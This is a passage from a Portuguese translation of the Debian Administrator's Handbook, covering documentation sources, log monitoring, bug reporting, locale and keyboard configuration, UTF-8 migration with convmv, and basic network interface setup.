→ http://localhost/cgi-bin/man/man2html

Este utilitário requer um servidor web. É por isso que você deve optar por instalar este pacote em um dos servidores: todos os usuários da rede local poderão se beneficiar deste serviço (incluindo máquinas não-Linux), e isso permitirá que você não configure um servidor HTTP em cada estação de trabalho. Se o seu servidor também é acessível a partir de outras redes, pode ser desejável restringir o acesso a este serviço apenas para usuários da rede local.

Por último mas não menos importante, você pode ver todas as páginas de manual disponíveis no Debian (mesmo as que não estão instaladas na sua máquina) no serviço manpages.debian.org. Ele oferece cada página de manual em múltiplas versões, uma para cada lançamento do Debian.

→ https://manpages.debian.org

POLÍTICA DEBIAN Páginas de manual necessárias

O Debian requer que cada programa tenha uma página de manual. Se o autor original não fornecer uma, o mantenedor do pacote Debian normalmente irá escrever uma página mínima que dirá ao leitor, no mínimo, o local da documentação original.

7.1.2. Documentos de info

O projeto GNU escreveu manuais para a maioria de seus programas no formato info; é por isso que muitas páginas do manual referem-se à documentação info correspondente. Esse formato oferece algumas vantagens, mas o programa padrão para ver estes documentos (chamado info) é também um pouco mais complexo. Esteja você aconselhado a usar o pinfo em seu lugar (do pacote pinfo).

A documentação info tem uma estrutura hierárquica, e se você invocar pinfo sem parâmetros, ele irá mostrar uma lista de nós disponíveis no primeiro nível. Normalmente, os nós levam o nome dos comandos correspondentes.

Com o pinfo a navegação por esses nós é facilmente feita através das teclas de seta. Alternativamente, você também pode usar um navegador gráfico, que é muito mais amigável com o usuário. Mais uma vez, o konqueror e o yelp funcionam; o pacote info2www também fornece uma interface web.

→ http://localhost/cgi-bin/info2www

Observe que o sistema info não é adequado para tradução, ao contrário do Sistema de página man. Documentos info são, portanto, quase sempre em Inglês. No entanto, quando você pedir ao sistema pinfo para exibir uma página info inexistente, ele retornará a página man com o mesmo nome (se existir), que pode estar traduzida.

7.1.3. Documentação Específica

Cada pacote inclui a sua própria documentação. Mesmo os programas mais mal documentados costumam ter um arquivo README que contém algumas informações interessantes e/ou importantes. Esta documentação está instalada no diretório /usr/share/doc/pacote/ (onde pacote é o nome do pacote). Se a documentação é particularmente grande, não pode ser incluída no pacote principal do programa, mas pode ser transferida para um pacote dedicado que normalmente é chamado pacote-doc. O pacote principal geralmente recomenda o pacote de documentação para que você possa encontrá-lo facilmente.

O diretório /usr/share/doc/package/ também contém alguns arquivos fornecidos pelo Debian que completam a documentação especificando as particularidades do pacote ou melhorias em relação a uma instalação tradicional do software. O arquivo README.Debian também indica todas as adaptações que foram feitas para cumprir com a política Debian. O arquivo changelog.Debian.gz permite ao usuário acompanhar as modificações feitas no pacote ao longo do tempo: é muito útil para tentar entender o que mudou entre as duas versões instaladas que não têm o mesmo comportamento. Finalmente, às vezes existe um arquivo NEWS.Debian.gz que documenta as maiores mudanças no programa que pode diretamente se referir ao administrador (veja Seção 6.7.2, “Lidando com Problemas após uma Atualização”).

7.1.4. Paginas da Internet

Na maioria dos casos, os programas de software livre têm sites web que são usados para distribuir os programas e para reunir a comunidade de seus desenvolvedores e usuários. Estes sites são frequentemente carregados com informação relevante de várias formas: a documentação oficial, FAQ (Perguntas mais frequentes), arquivos de listas de discussão, etc. Os problemas que você pode estar tendo já podem ter sido o tema de muitas perguntas; arquivos FAQ ou listas de discussão podem ter uma solução para ele. Um bom domínio dos motores de busca provou ser imensamente valioso para encontrar páginas relevantes rapidamente (restringindo a busca ao domínio da Internet ou subdomínio dedicado ao programa). Se a pesquisa retornar muitas páginas ou se os resultados não corresponderem ao que você procura, você pode adicionar a palavra-chave debian para limitar os resultados e focar nas informações relevantes.

DICA Do erro à solução

Se o software retorna uma mensagem de erro muito específica, inseri-lo no motor de busca (entre aspas, ", a fim de não procurar por palavras-chave individuais, mas para a frase completa). Na maioria dos casos, os primeiros links retornados conterão a resposta que você precisa.

Em outros casos, você vai ter erros muito gerais, como "Permissão negada". Neste caso, o melhor é verificar as permissões dos elementos envolvidos (arquivos, identificação de usuário, grupos, etc).

Se você não sabe o endereço para o site do software, existem vários meios de consegui-lo. Primeiro, verifique se existe um campo Homepage na meta-informação do pacote (apt show pacote). Alternativamente, a descrição do pacote pode conter um link para o site oficial do programa. Se nenhuma URL for indicada, olhe em /usr/share/doc/pacote/copyright. O mantenedor do Debian geralmente indica neste arquivo de onde ele pegou o código-fonte do programa, e este é provavelmente o site que você precisa encontrar. Se nesta fase a sua pesquisa ainda é infrutífera, consulte um diretório de software livre, como o Diretório de Software Livre da FSF, ou procure diretamente com um motor de busca, como Google, DuckDuckGo, Yahoo, etc.

→ https://directory.fsf.org/wiki/Main_Page

Você também pode querer verificar o wiki Debian, um site colaborativo onde qualquer pessoa, mesmo os novos visitantes, podem fazer sugestões diretamente dos seus navegadores. É utilizado igualmente pelos desenvolvedores, de modo a projetar e especificar seus projetos, e pelos usuários que compartilham seu conhecimento escrevendo documentos de forma colaborativa.

→ https://wiki.debian.org/

7.1.5. Tutoriais (HOWTO)

Um HOWTO é um documento que descreve, em termos concretos e passo a passo, como atingir uma meta pré-definida. Os objetivos cobertos são relativamente variados, mas muitas vezes de natureza técnica: por exemplo, a criação de mascara IP, configuração do software RAID, a instalação de um servidor Samba, etc. Estes documentos geralmente tentam cobrir todos os potenciais problemas susceptíveis de ocorrer durante a execução de uma determinada tecnologia.

Muitos desses tutoriais são gerenciados pelo Projeto de Documentação do Linux (LDP), cujo site web hospeda todos estes documentos:

→ https://www.tldp.org/

O Debian também fornece tutoriais para seus usuários:

→ https://www.debian.org/doc/

Todos esses documentos devem ser lidos com espírito crítico. Elas são velhos, a informação que eles contêm é muitas vezes obsoleta. Este fenômeno é ainda mais frequente para as suas traduções, uma vez que as atualizações não são nem sistemáticas nem um instante após a publicação de uma nova versão dos documentos originais. Além disto, muitos tutoriais atualmente são fornecidos por blogueiros, compartilhando suas soluções individuais com leitores interessados. Eles às vezes não citam informações importantes, i.e. a razão de por que escolher uma configuração ao invés de outra, ou por que alguma opção foi habilitada ou desabilitada. Como os blogs e a criação de sites pessoais tornaram tão fácil o compartilhamento, muitos desses tutoriais geralmente curtos existem, mas apenas alguns são ativamente mantidos e bem conservados. Isto pode dificultar achar a informação "certa" pra você. Isso faz parte da alegria de trabalhar em um ambiente de voluntariado e sem restrições…

7.2. Procedimentos comuns

O objetivo desta seção é apresentar algumas dicas gerais sobre determinadas operações que um administrador frequentemente têm de realizar. Estes procedimentos é claro não cobrirão todos os casos possíveis de forma exaustiva, mas podem servir como pontos de partida para os casos mais difíceis.

DESCOBRIMENTO Documentação em outros idiomas

Muitas vezes, a documentação traduzida para uma língua não-inglesa está disponível em um pacote separado com o nome do pacote correspondente, seguido por -lang (onde lang é o código de duas letras ISO para a linguagem).

Por exemplo, o pacote debian-reference-fr é a versão francesa dos guias de referência para o Debian (inicialmente escritos em inglês por Osamu Aoki), e o pacote manpages-de contém a versão em alemão das páginas de manual sobre como usar o GNU/Linux.

7.2.1. Configurando um Programa

Quando você deseja configurar um pacote desconhecido, você deve proceder por etapas. Primeiro, você deve ler o que o mantenedor do pacote tem documentado. Leitura /usr/share/doc/pacote/README.Debian irá permitir que você saiba de disposições específicas feitas para simplificar o uso do software. Por vezes, é essencial, a fim de compreender as diferenças em relação ao comportamento original do programa, tal como descrito na documentação geral, tais como howtos. Às vezes esse arquivo também detalham os erros mais comuns em ordem para que você evite perder tempo com problemas comuns.

Então, você deve olhar a documentação oficial do software - consulte a Seção 7.1, “Fontes de documentação” para identificar as várias fontes de documentação existente. O comando dpkg-L pacote fornece uma lista de arquivos incluídos no pacote, você pode, portanto, identificar rapidamente a documentação disponível (bem como os arquivos de configuração, localizados em /etc/). dpkg-s pacote exibe os metadados do pacote e mostra todos os pacotes possíveis recomendados ou sugeridos; lá, você pode encontrar a documentação ou um utilitário que irá facilitar a configuração do software.

Finalmente, os arquivos de configuração são muitas vezes auto-documentados por muitos comentários explicativos, detalhando os vários valores possíveis para cada configuração. Tanto que às vezes é apenas o suficiente escolher uma linha para ativar entre as disponíveis. Em alguns casos, exemplos de arquivos de configuração são fornecidos no diretório /usr/share/doc/pacote/examples/. Eles podem servir de base para o seu próprio arquivo de configuração.

POLITICA DEBIAN Localização de exemplos

Todos os exemplos devem ser instalados no diretório /usr/share/doc/pacote/examples/. Este pode ser um ficheiro de configuração, o código de fonte do programa (um exemplo da utilização de uma biblioteca), ou um script de conversão de dados que o administrador pode utilizar, em certos casos (tal como para inicializar uma base de dados). Se o exemplo é específico para uma arquitetura particular, ele deve ser instalado em /usr/lib/pacote/examples/ e deve haver um link apontando para esse arquivo no /usr/share/doc/pacote/exemplos/.

7.2.2. Monitorando o que o Daemons esta fazendo

Entender o que um daemon faz é um pouco mais complicado, uma vez que não interagem diretamente com o administrador. Para verificar se um daemon está realmente trabalhando, você precisa testá-lo. Por exemplo, para verificar o daemon Apache (servidor web), testá-lo com uma solicitação HTTP.

DE VOLTA AO BÁSICO Daemon

Um daemon é um programa que não é explicitamente invocado pelo usuário e que fica por trás, à espera de uma determinada condição ser cumprida antes de executar uma tarefa. Muitos programas de servidor são daemons, um termo que explica que a letra "d" está frequentemente presente no final do seu nome (sshd, smtpd, httpd, etc.).

Para permitir esses testes, cada daemon geralmente registra tudo o que ele faz, bem como de quaisquer erros que encontrar, no que são chamados "arquivos de log" ou "logs do sistema". Os logs são armazenados em /var/log/ ou um de seus subdiretórios. Para saber o nome exato de um arquivo de log para cada daemon, consulte a documentação. Nota: um único teste nem sempre é suficiente se não cobrir todos os casos de uso possíveis, alguns problemas só ocorrem em determinadas circunstâncias.

FERRAMENTA O daemon rsyslogd

rsyslogd é especial: ele coleta os logs (mensagens do sistema interno) que são enviados a ele por outros programas. Cada entrada de log é associada a um subsistema (e-mail, kernel autenticação, etc) e uma prioridade, rsyslogd processa essas duas informações para decidir o que fazer. A mensagem de log pode ser gravada em vários arquivos de log e/ou enviados para um console de administração. Os detalhes são definidos no arquivo de configuração /etc/rsyslog.conf (documentado na página de manual com o mesmo nome fornecido no pacote rsyslog-doc).

Certas funções C, que são especializadas em enviar logs, simplificam o uso do daemon rsyslogd. No entanto, alguns daemons gerem os seus próprios arquivos de log (este é o caso, por exemplo, do samba, que implementa compartilhamento do Windows no Linux).

Note que quando o systemd está em uso, os logs, na realidade, são coletados pelo systemd antes de serem repassados para o rsyslogd. Sendo assim, eles estão disponíveis via o "journal" do systemd e podem ser consultados com o journalctl (veja Seção 9.1.1, “O sistema init systemd” para detalhes).

Como uma medida preventiva, o administrador deve ler regularmente os logs mais relevantes do servidor. Assim, ele podem diagnosticar problemas antes mesmo deles serem relatados por usuários descontentes. Na verdade, algumas vezes, os usuários podem esperar que um problema ocorra repetidamente durante vários dias antes de reportá-lo. Em muitos casos, existem ferramentas específicas para analisar o conteúdo dos arquivos de log maiores. Em particular, tais utilitários existem para servidores web (como analog, awstats, awffull para Apache), para servidores de FTP, para servidores proxy/cache, para firewalls, para servidores de e-mail, para os servidores de DNS, e até mesmo para servidores de impressão. Outras ferramentas, como logcheck (um software discutido em Capítulo 14, Segurança), varrem esses arquivos em busca de alertas a serem tratados.

7.2.3. Pedindo ajuda em uma lista

Se as suas várias buscas não tiverem ajudado a chegar à raiz de um problema, é possível obter ajuda de outras pessoas, talvez mais experientes. Este é exatamente o objetivo da lista <debian-user@lists.debian.org> e suas parceiras em outras línguas <debian-user-lang@lists.debian.org>. Como em qualquer comunidade, tem regras que precisam ser seguidas. Antes de fazer qualquer pergunta, você deve verificar se o seu problema não foi abordado por debates recentes na lista ou em qualquer documentação oficial.

→ https://wiki.debian.org/DebianMailingLists

→ https://lists.debian.org/debian-user/

→ https://lists.debian.org/users.html

DE VOLTA AO BÁSICO Aplicar Netiquette

Em geral, para toda a correspondência em listas de discussão, as regras de netiqueta devem ser seguidas. Este termo refere-se a um conjunto de regras de senso comum, a partir de cortesia comum para erros que devem ser evitados.

→ https://tools.ietf.org/html/rfc1855

Além disso, para qualquer canal de comunicação gerenciado pelo projeto Debian, você está submetido ao Código de Conduta Debian:

→ https://www.debian.org/code_of_conduct

Uma vez satisfeitas estas duas condições, você pode pensar em descrever o seu problema para a lista de discussão. Inclua o máximo de informações relevantes possíveis: vários testes realizados, documentação consultada, como você tentou diagnosticar o problema, os pacotes em questão ou aqueles que podem estar envolvidos, etc. Verifique o Sistema de Acompanhamento de Bugs (BTS, descrito na barra lateral Seção 1.3.2.1, “Reportando bugs”) para problemas semelhantes, e mencione os resultados dessa pesquisa, fornecendo links para bugs encontrados. BTS começa em:

→ https://bugs.debian.org/

O mais cortês e preciso que você tenha sido, as maiores chances suas de obter uma resposta, ou, pelo menos, alguns elementos de resposta. Se você receber informações relevantes por e-mail privado, pense em resumir esta informação publicamente para que outros possam beneficiar. Isto também permite que os arquivos da lista, pesquisados através de vários motores de busca, mostrem a resolução para outros que podem ter a mesma pergunta.

7.2.4. Reportando um Bug Quando um Problema É Muito Difícil

Se todos os seus esforços para resolver um problema falhar, é possível que uma resolução não seja de sua responsabilidade, e que o problema é devido a um bug no programa. Neste caso, o procedimento correto é relatar o bug ao Debian ou diretamente aos desenvolvedores. Para fazer isso, isolar o problema, tanto quanto possível e criar uma situação de teste mínimo em que pode ser reproduzido. Se você souber qual o programa que é a causa aparente do problema, você pode encontrar o seu pacote correspondente usando o comando, dpkg-Sarquivo_em_questao. Verifique o Sistema de Rastreamento de Bugs (https://bugs.debian.org/pacote) para assegurar que o erro não tenha sido relatado. Você pode então enviar o seu relatório de bug próprio, usando o comando reportbug, incluindo as informações, tanto quanto possível, especialmente uma descrição completa dos casos de teste mínimo que permitirá que qualquer pessoa recrie o bug.

Os elementos deste capítulo são um meio eficaz para resolver os problemas que os capítulos que se seguem podem trazer. Use-os sempre que necessário!

Capítulo 8. Configuração Básica: Rede, Contas, Impressão...

Um computador com uma nova instalação criada com o debian-installer tenta ser tão funcional quanto possível, mas muitos serviços ainda devem ser configurados. Além disso, é sempre bom saber como mudar certos elementos de configuração definidos durante o processo de instalação inicial.

Este capítulo revisa tudo que pode ser incluído no que se pode chamar de "configuração básica": redes, idioma e localização, usuários e grupos, impressão, pontos de montagem, etc.

8.1. Configurando o Sistema para Outra Língua

Se o sistema foi instalado usando Francês, a máquina provavelmente já vai ter o francês configurado como o idioma padrão. Mas é bom saber que o instalador vai configurar o idioma, de forma que, se mais tarde surgir a necessidade, você pode mudá-lo.

FERRAMENTA O comando locale para mostrar a configuração atual

O comando locale lista um resumo da configuração atual de vários parâmetros do locale (formato de data, formato de números, etc.), apresentados na forma de um grupo de variáveis de ambiente padrão dedicadas à modificação dinâmica destas configurações.

8.1.1. Definindo a Língua Padrão

Um "locale" é um grupo de configurações regionais. Isto inclui não apenas o idioma do texto, mas também o formato para exibir números, datas, horas e valores monetários, assim como as regras de comparação alfabéticas (para considerar corretamente os caracteres acentuados). Embora cada um destes parâmetros possa ser especificado independentemente dos outros, geralmente usamos um "locale", que é um conjunto coerente de valores para estes parâmetros correspondendo a uma "região" no sentido amplo. Estes "locales" são usualmente indicados na forma, código-de-idioma_CÓDIGO-DE-PAÍS, algumas vezes com um sufixo para especificar o conjunto de caracteres e codificação a ser usado. Isto habilita considerações de diferenças idiomáticas ou tipográficas entre regiões com uma linguagem em comum.

CULTURA Conjuntos de Caracteres

Historicamente, cada localidade tem associado um "conjunto de caracteres" (um grupo de caracteres conhecidos) e uma "codificação" preferida (representação interna para caracteres dentro do computador).

As codificações mais populares para idiomas derivados do latim são limitadas a 256 caracteres pois ele optaram por usar um único byte para cada caractere. Uma vez que 256 caracteres não é o suficiente para cobrir todas as línguas europeias, codificações múltiplas são necessárias, e assim nós acabamos com ISO-8859-1 (também conhecido como “Latin 1”) até o ISO-8859-15 (também conhecido como “Latin 9”), entre outros.

Trabalhar com línguas estrangeiras comumente implica trocar regularmente entre várias codificações e conjuntos de caracteres. Além disso, escrever um documento em diversas línguas leva a problemas maiores, quase intratáveis. Unicode (um super catálogo de quase todos os sistemas de escrita de todas as línguas do mundo) foi criado para contornar este problema. Uma das codificações Unicode, UTF-8, retém todos os 128 símbolos ASCII (códigos 7-bits), mas lida com outros caracteres diferentemente. Estes outros são precedidos por uma sequencia de escape específica de poucos bits, que implicitamente define o tamanho do caractere. Isto permite a codificação de todos os caracteres Unicode em uma sequência de um ou mais bytes. Seu uso foi popularizado pelo fato de ser a codificação padrão em documentos XML.

Esta é a codificação que deve ser geralmente usada, e é portanto a padrão nos sistemas Debian.

O pacote locales inclui todos os elementos necessários para o funcionamento correto da "localização" de vários aplicativos. Durante a instalação, este pacote vai pedir que você selecione um conjunto de idiomas suportados. Este conjunto de idiomas pode ser alterado executando o comando dpkg-reconfigure locales como o root.

A primeira pergunta pede a você para selecionar os “locales” a suportar. Selecionar todos os locales do inglês (ou seja, aqueles começados com “en_”) é uma escolha sensata. Não hesite em também habilitar outros locales se a máquina for ser usada por usuários que falam outras línguas. A lista de locales habilitados no sistema está armazenada no arquivo /etc/locale.gen. É possível editar este arquivo manualmente, mas você deveria executar locale-gen após qualquer modificação. Ele gerará os arquivos necessários para que a adição de locales funcione e vai remover quaisquer arquivos obsoletos.

A segunda pergunta, "Default locale for the system environment" ("locale padrão para o ambiente do sistema"), pede um locale padrão. A escolha recomendada no Brasil é "pt_BR.UTF-8". Portugueses de Portugal vão preferir "pt_PT.UTF-8" e franceses, "fr.UTF-8", enquanto que canadenses que falam francês, vão preferir "en_CA.UTF-8". O arquivo /etc/default/locale vai ser então modificado para armazenar esta escolha. E a partir dele, a escolha será selecionada por todas as sessões de usuário, já que o PAM vai injetar seu conteúdo na variável de ambiente LANG.

O pacote locales-all contém os dados precompilados de "locale" para todos os "locales" suportados.

ATRÁS DAS CENAS /etc/environment e /etc/default/locale

O arquivo /etc/environment dá aos programas login, gdm, ou até mesmo ssh as variáveis de ambiente corretas a serem criadas.

Estes aplicativos não criam essas variáveis diretamente, mas sim via um módulo PAM (pam_env.so). PAM (Pluggable Authentication Module - Módulo de autenticação anexável) é uma biblioteca modular que centraliza mecanismos para autenticação, inicialização de sessão, e gerenciamento de senhas. Veja Seção 11.7.3.2, “Configurando o PAM” para um exemplo da configuração do PAM.

O arquivo /etc/default/locale funciona de maneira similar, mas contém apenas a variável de ambiente LANG. Graças a esta divisão, alguns usuários PAM podem herdar um ambiente sem localização. Na verdade, geralmente é desencorajado executar programas servidores com localização habilitada; por outro lado, configurações regionais e de localização são recomendadas para programas que abrem sessões de usuário.

8.1.2. Configurando o Teclado

Mesmo com o layout do teclado sendo gerenciado diferentemente nos modos console e gráfico, o Debian oferece uma interface de configuração única que funciona para ambos: é baseada no debconf e é implementada no pacote keyboard-configuration. Portanto, o comando dpkg-reconfigure keyboard-configuration pode ser usado a qualquer momento para reconfigurar o layout do teclado.

As perguntas são relevantes para a disposição do teclado físico (um teclado PC padrão nos EUA será um "Generic 104 key"), e depois a disposição para escolher (geralmente "US"), e por fim a posição da tecla AltGr (Alt da direita). Finalmente vem a pergunta da tecla a usar para a "Compose key", que permite a entrada de caracteres especiais combinando conjuntos de teclas. Digite sucessivamente Compose ' e e produza um "e" com acento agudo ("é"). Todas estas combinações são descritas no arquivo /usr/share/X11/locale/en_US.UTF-8/Compose (ou outro arquivo, determinado de acordo com o locale atual indicado por /usr/share/X11/locale/compose.dir).

Note que a configuração do teclado para o ambiente gráfico é descrita aqui somente afeta a layout padrão; os ambientes GNOME e KDE plasma, entre outros, provê um painel de controle para teclado em suas preferências permitem para usuário ter sua própria configuração. Algumas opções adicionais relacionadas ao comportamento de algumas teclas particulares também estão presentes nestes painéis.

8.1.3. Migrando para UTF-8

A generalização da codificação UTF-8 foi uma solução a muito aguardada para várias dificuldades de interoperabilidade, já que ela facilita intercâmbio internacional e remove os limites arbitrários de caracteres que podem ser usados em um documento. O único problema é que é que ela teve que passar por uma difícil fase de transição. Como esta fase de transição não pôde ser completamente transparente (ou seja, não pôde acontecer ao mesmo tempo em todo o mundo), duas operações de conversão foram necessárias: uma no conteúdo dos arquivos e outra nos nomes dos arquivos. Felizmente, a maior parte desta migração já foi completada e discutimos ela amplamente para referência.

CULTURA Mojibake e erros de interpretação

Quando um texto é enviado (ou armazenado) sem informações de codificação, nem sempre é possível para o destinatário saber com certeza qual a convenção foi usada para determinar o significado dos conjuntos de bytes. Você pode normalmente ter uma noção olhando as estatísticas da distribuição de valores apresentados no texto, mas isto nem sempre dá uma resposta definitiva. Quando o sistema de codificação escolhido para a leitura difere do usado na escrita do arquivo, os bytes serão mal interpretados, e você terá, na melhor das hipóteses, erros em alguns caracteres, e na pior das hipóteses, algo completamente ilegível.

Então, se um texto em francês aparenta estar normal com exceção das letras acentuadas e de certos símbolos que parece terem sido substituídos com sequencias de caracteres como "Ã©" ou "Ã¨" ou "Ã§", provavelmente este é um texto codificado com UTF-8 mas interpretado como ISO-8859-1 ou ISO-8859-15. Este é um sinal de uma instalação local que ainda não foi migrada para UTF-8. Se, ao invés disto, você vê interrogações no lugar de letras acentuadas — mesmo se estas interrogações parecem substituir também um caractere que deve estar depois de uma letra acentuada — é provável que sua instalação já esteja configurada para UTF-8 e que você tenha recebido um documento codificado em ISO ocidental.

Tanto para casos "simples". Estes casos aparecem apenas na cultura ocidental, uma vez que o Unicode (e UTF-8) foram projetados para maximizar os pontos em comum com codificações de idiomas ocidentais baseadas no alfabeto Latino, que permite o reconhecimento de partes do texto mesmo quando alguns caracteres estão faltando.

Em configurações mais complexas, que, por exemplo, envolvem dois ambientes correspondendo a dois idiomas diferentes que não usam o mesmo alfabeto, você frequentemente se vê com resultados completamente ilegíveis — uma série de símbolos abstratos que não tem nada a ver uns com os outros. Isto é especialmente comum com idiomas asiáticos devido a seus numerosos idiomas e sistemas de escrita. A palavra japonesa mojibake foi adotada para descrever este fenômeno. Quando ele acontece, o diagnóstico é mais complexo e a solução mais simples em geral é migrar os dois lados para UTF-8.

As far as file names are concerned, a migração pode ser relativamente simples. A ferramenta convmv (no pacote com o mesmo nome) foi criada especificamente com este objetivo; ela permite renomear arquivos de uma codificação para outra. O uso desta ferramenta é relativamente simples, mas recomendamos fazê-lo em dois passos para evitar surpresas. O seguinte exemplo ilustra um ambiente UTF-8 contendo nomes de diretórios codificados em ISO-8859-15, e o uso do convmv para renomeá-los.

$ ls travail/ Ic?nes ?l?ments graphiques Textes $ convmv -r -f iso-8859-15 -t utf-8 travail/ Starting a dry run without changes... mv "travail/�l�ments graphiques" "travail/Éléments graphiques" mv "travail/Ic�nes" "travail/Icônes" No changes to your files done. Use --notest to finally rename the files. $ convmv -r --notest -f iso-8859-15 -t utf-8 travail/ mv "travail/�l�ments graphiques" "travail/Éléments graphiques" mv "travail/Ic�nes" "travail/Icônes" Ready! $ ls travail/ Éléments graphiques Icônes Textes

Para o conteúdo dos arquivos, os procedimentos de conversão são mais complexos devido à vasta variedade de formatos de arquivos existentes. Alguns formatos de arquivos incluem informação de codificação que facilita a tarefa de softwares usados para tratá-los; é suficiente, portanto, abrir estes arquivos e regravá-los especificando a codificação UTF-8. Em outros casos, você tem que especificar a codificação original (ISO-8859-1 ou “Ocidental”, ou ISO-8859-15 ou “Ocidental (Euro)”, de acordo com as formulações) quando abrir o arquivo.

Para arquivos de texto simples, você pode usar o recode (que está no pacote de mesmo nome) para fazer recodificação automática. Esta ferramenta tem várias opções, explore bastante. Nós recomendamos que você consulte a documentação, a página man recode(1), ou a página info recode (mais completa). Alternativamente, iconv suporta mais conjuntos de caracteres, mas tem menos opções.

8.2. Configurando a Rede

DE VOLTA AO BÁSICO Conceitos essenciais de rede (Ethernet, endereço IP, sub-rede, broadcast)

A maioria das redes locais modernas usam o protocolo Ethernet, onde dados são quebrados em pequenos blocos chamados quadros (frames, em inglês) e transmitidos através do fio um quadro por vez. As velocidades de transmissão de dados variam de 10 Mb/s para placas Ethernet antigas a 100 Gb/s nas mais novas (com as taxas mais comuns atualmente crescendo de 100 Mb/s a 10 Gb/s). Os cabos mais amplamente usados são chamados 10BASE-T, 100BASE-T, 1000BASE-T, 10GBASE-T e 40GBASE-T, dependendo da vazão que eles podem fornecer confiavelmente (o T significa "twisted pair", ou "par trançado"); estes cabos terminam num conector RJ45. Existem outros tipos de cabos, usados normalmente para velocidades de 10 Gb/s ou mais.

Um endereço IP é um número usado para identificar uma interface de rede num computador em uma rede local ou na internet. Na sua versão mais utilizada atualmente (IPv4), este número é codificado em 32 bits, e é normalmente representado como 4 números separados por pontos (e.g. 192.168.0.1), cada número entre 0 e 255 (inclusive, o que corresponde a 8 bits de dados). A próxima versão do protocolo, IPv6, estende este espaço de endereçamento para 128 bits, e os endereços são geralmente representados como uma série de números hexadecimais separados por dois-pontos (e.g., 2001:0db8:13bb:0002:0000:0000:0000:0020, ou 2001:db8:13bb:2::20 resumidamente).

Uma máscara de sub-rede (máscara de rede) define no seu código binário que porções de um endereço IP correspondem à rede, e o restante especifica a máquina. No exemplo de configurar um endereço IPv4 estático dado aqui, a máscara de sub-rede, 255.255.255.0 (24 “1”s seguidos de 8 “0”s na representação binária) indica que os primeiros 24 bits do endereço IP correspondem ao endereço de rede, e os outros 8 são específicos da máquina. Em IPv6, por legibilidade, apenas os números “1”s são mostrados; a máscara de rede para uma rede IPv6 poderia ser, portanto, 64.

O endereço de rede é um endereço IP no qual a parte descrevendo o número da máquina é 0. O intervalo de endereços IPv4 em uma rede é às vezes indicado pela sintaxe, a.b.c.d/x, onde a.b.c.d é o endereço de rede e x é o número de bits afetados pela parte da rede no endereço IP. A rede de exemplo pode então ser escrita: 192.168.0.0/24. A sintaxe é similar no IPv6: 2001:db8:13bb:2::/64.

Um roteador é uma máquina que conecta várias redes umas às outras. Todo o tráfego que passa por um roteador é direcionado para a rede correta. Para fazer isto, o roteador analisa pacotes entrando e os redireciona de acordo com o endereço IP de destino. O roteador é às vezes conhecido como um gateway; nesta configuração, ele funciona como uma máquina que ajuda a alcançar mais do que a rede local (indo por uma rede estendida, como a Internet).

O endereço especial de broadcast conecta todas as estações numa rede. Quase nunca é "roteado", ele apenas funciona na rede em questão. Especificamente, significa que um pacote de dados endereçado para o broadcast nunca atravessa o roteador.

Este capítulo foca nos endereços IPv4, já que eles são os mais comumente usados. Os detalhes sobre o protocolo IPv6 são discutidos aqui Seção 10.6, “IPv6”, mas os conceitos se mantém os mesmos.

A rede é automaticamente configurada durante a instalação inicial. Se o Network Manager estiver instalado (o que normalmente é o caso para instalações completas de desktop), então pode ser que nenhuma configuração seja necessária (por exemplo, se você usa DHCP numa rede cabeada e não tem nenhuma necessidade específica). Se uma configuração é necessária (por exemplo, para uma interface WiFi), então ele vai criar o arquivo apropriado em /etc/NetworkManager/system-connections/.

NOTA NetworkManager

Mesmo o Network Manager sendo particularmente recomendado em situações de roaming (veja Seção 8.2.5, “Configuração Automática de Rede para Usuários em Roaming”), ele é também perfeitamente útil como a ferramenta de gerencia de redes padrão. Você pode criar “conexões de sistema” que são usadas assim que o computador liga tanto manualmente quando com um arquivo estilo .ini em /etc/NetworkManager/system-connections/ ou através de uma ferramenta gráfica (nm-connection-editor). Somente lembre de desativar todas as entradas em /etc/network/interfaces que você quiser que o Network Manager manipule.

→ https://wiki.gnome.org/Projects/NetworkManager/SystemSettings

→ https://developer.gnome.org/NetworkManager/1.30/ref-settings.html

Se o Network Manager não estiver instalado, então o instalador vai configurar o ifupdown criando o arquivo /etc/network/interfaces. Uma linha começando com auto dá uma lista de interfaces para serem automaticamente configuradas no boot pelo serviço networking. Quando existem muitas interfaces, é boa prática manter a configuração em diferentes arquivos dentro de /etc/network/interfaces.d/ como descrito na barra lateral DE VOLTA AO BÁSICO Diretórios terminados em .d.

Em um contexto de servidor, ifupdown é, portanto, a ferramenta de configuração de rede que você geralmente tem. É por isso que falaremos dela nas próximas seções. Para obter mais informações sobre a sintaxe do arquivo de configuração, veja interfaces(5).

8.2.1. Interface de Rede

Se o computador tem uma placa Ethernet, a rede IP que é associada a ela deve ser configurada escolhendo um de dois métodos. O método mais simples é a configuração dinâmica com DHCP, e requer um servidor DHCP na rede local. Ele pode indicar um hostname ("nome de máquina") desejado, correspondendo à configuração de hostname no exemplo abaixo. O servidor DHCP então manda as configurações para a rede apropriada.

Exemplo 8.1. Configuração DHCP

auto enp0s31f6 iface enp0s31f6 inet dhcp hostname arrakis

NA PRÁTICA Nomes de interfaces de rede

Por padrão, o núcleo atribui nomes genéricos como eth0 (para rede com fio) ou wlan0 (para WiFi) para as interfaces de rede. O número nesses nomes é um contador incremental simples que representa a ordem em que foram detectados. Com hardware moderno, essa ordem pode mudar a cada reinicialização (pelo menos em teoria) e, portanto, os nomes padrão não são confiáveis.

Felizmente, tanto o systemd quanto o udev são capazes de renomear as interfaces assim que elas aparecem. a política de nomes padrão é definida pelo /lib/systemd/network/99-default.link (veja em systemd.link(5) para uma explicação da entrada NamePolicy neste arquivo). Na prática, os nomes são frequentemente baseados na localização física dos dispositivos (inferindo dependendo de onde eles estão conectados) e você vai ver nomes começando com en ethernet cabeada, wl para sem fio. No exemplo acima, o resto do nome indica, em forma abreviada, um barramento PCI (p) de número (0), um número de slot (s31) e um número de função (f6). assim, o nome fica previsível.

Obviamente, você é livre para sobrepor esta política e/ou complementar ela para customizar os nomes de algumas interfaces específicas. você pode encontrar os nomes de interfaces de rede na saída de ip addr (ou como nomes de arquivos em /sys/class/net/).

Em alguns casos extremos pode ser necessário desabilitar a nomeação esperada de dispositivos de rede como descrito acima. Além de mudar a regra udev padrão também é possível iniciar o sistema usando os parâmetros do núcleo net.ifnames=0 (restaura o comportamento padrão do núcleo) e biosdevname=0 para chegar neste resultado.

O predecessor do "predictable name scheme" era chamado “persistent name scheme”. ele foi feito usando uma regra udev para associar o nome do dispositivo baseado no endereço MAC. Este scheme foi abandonado e com o lançamento do Debian 10 Buster usuários foram encorajados a migrar para o "predictable network device names".

